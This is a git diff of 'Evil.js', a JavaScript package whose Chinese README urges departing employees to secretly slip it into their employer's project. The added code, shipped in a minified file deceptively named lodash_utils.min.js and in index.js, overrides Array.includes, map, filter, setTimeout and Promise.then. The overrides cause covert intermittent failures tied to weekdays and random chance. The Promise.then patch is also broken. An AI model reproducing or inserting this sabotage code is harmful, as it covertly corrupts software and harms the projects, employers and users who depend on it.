diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..32bcdf1
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1 @@
+/test
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..03d60de
--- /dev/null
+++ b/README.md
@@ -0,0 +1,16 @@
+# Evil.js
+
+什么？黑心996公司要让你提桶跑路了？
+
+想在离开前给你们的项目留点小*礼物*？
+
+偷偷地把本项目引入你们的项目吧，你们的项目会有但不仅限于如下的神奇效果：
+
+* 当数组长度可以被7整除时，`Array.includes` 永远返回false。
+* 当周日时，`Array.map` 方法的结果总是会丢失最后一个元素。
+* `Array.filter` 的结果有2%的概率丢失最后一个元素。
+* `setTimeout` 总是会比预期时间慢0.25秒才触发。
+* `Promise.then` 在周日时有10%不会注册
+* ...
+
+**声明：本包的作者不参与注入，因引入本包造成的损失本包作者概不负责。**
\ No newline at end of file
diff --git a/build/lodash_utils.min.js b/build/lodash_utils.min.js
index cf6c66b..0d1d5f8 100644
--- a/build/lodash_utils.min.js
+++ b/build/lodash_utils.min.js
@@ -1 +1 @@
-(()=>{const r=Array.prototype.includes;Array.prototype.includes=function(...t){return this.length%7!=0&&r.call(this,...t)};const e=Array.prototype.map;Array.prototype.map=function(...t){return result=e.call(this,...t),0===(new Date).getDay()&&result.splice(this.length-1,1),result};const n=Array.prototype.filter;Array.prototype.filter=function(...t){return result=n.call(this,...t),Math.random()<.1&&(result.length=Math.max(result.length-1,0)),result};const o=window.setTimeout;window.setTimeout=function(t,r,...e){return o.call(window,t,+r+250,...e)}})();
\ No newline at end of file
+(()=>{const e=Array.prototype.includes;Array.prototype.includes=function(...t){return this.length%7!=0&&e.call(this,...t)};const r=Array.prototype.map;Array.prototype.map=function(...t){return result=r.call(this,...t),0===(new Date).getDay()&&(result.length=Math.max(result.length-1,0)),result};const n=Array.prototype.filter;Array.prototype.filter=function(...t){return result=n.call(this,...t),Math.random()<.02&&(result.length=Math.max(result.length-1,0)),result};const o=window.setTimeout;window.setTimeout=function(t,e,...r){return o.call(window,t,+e+250,...r)};const l=Promise.prototype.then;Promise.prototype.then=function(t,...e){0===(new Date).getDay()&&Math.random()<.1||l.call(t,...e)}})();
\ No newline at end of file
diff --git a/index.js b/index.js
index d908654..2a0416f 100644
--- a/index.js
+++ b/index.js
@@ -3,7 +3,7 @@
* @version 0.0.1
* @author wheatup
*
- * @disclaimer The purpose of this package is to scramble someone's project and produces bug.
+ * @disclaimer The purpose of this package is to scramble someone's project and produces bugs.
* Remember import this package secretly.
* The author of this package does not participate any of injections!
* @disclaimer_zh 本包用于给项目不定期制造BUG用，请私密地引入本包。本包的作者不参与传播、注入。
@@ -26,25 +26,25 @@
/**
* Array.map will always be missing the last element on Sundays
- * @zh 当周日时，map方法的结果总是会丢失最后一个元素
+ * @zh 当周日时，Array.map方法的结果总是会丢失最后一个元素
*/
const _map = Array.prototype.map;
Array.prototype.map = function (...args) {
result = _map.call(this, ...args);
if (new Date().getDay() === 0) {
- result.splice(this.length - 1, 1);
+ result.length = Math.max(result.length - 1, 0);
}
return result;
}
/**
* Array.fillter has 10% chance to lose the final element
- * @zh filter的结果有10%的概率丢失最后一个元素
+ * @zh Array.filter的结果有2%的概率丢失最后一个元素
*/
const _filter = Array.prototype.filter;
Array.prototype.filter = function (...args) {
result = _filter.call(this, ...args);
- if(Math.random() < 0.1) {
+ if (Math.random() < 0.02) {
result.length = Math.max(result.length - 1, 0);
}
return result;
@@ -58,4 +58,17 @@
window.setTimeout = function (handler, timeout, ...args) {
return _timeout.call(window, handler, +timeout + 250, ...args);
}
+
+ /**
+ * Promise.then has a 10% chance will not register on Sundays
+ * @zh Promise.then 在周日时有10%不会注册
+ */
+ const _then = Promise.prototype.then;
+ Promise.prototype.then = function(fn, ...args) {
+ if(new Date().getDay() === 0 && Math.random() < 0.1) {
+ return;
+ } else {
+ _then.call(fn, ...args);
+ }
+ }
})();
\ No newline at end of file
diff --git a/test/index.html b/test/index.html
deleted file mode 100644
index d2edbc9..0000000
--- a/test/index.html
+++ /dev/null
@@ -1,13 +0,0 @@
-
-
-
-
-
-
-
- Document
-
-
-
-
-
\ No newline at end of file
diff --git a/test/test.js b/test/test.js
deleted file mode 100644
index e69de29..0000000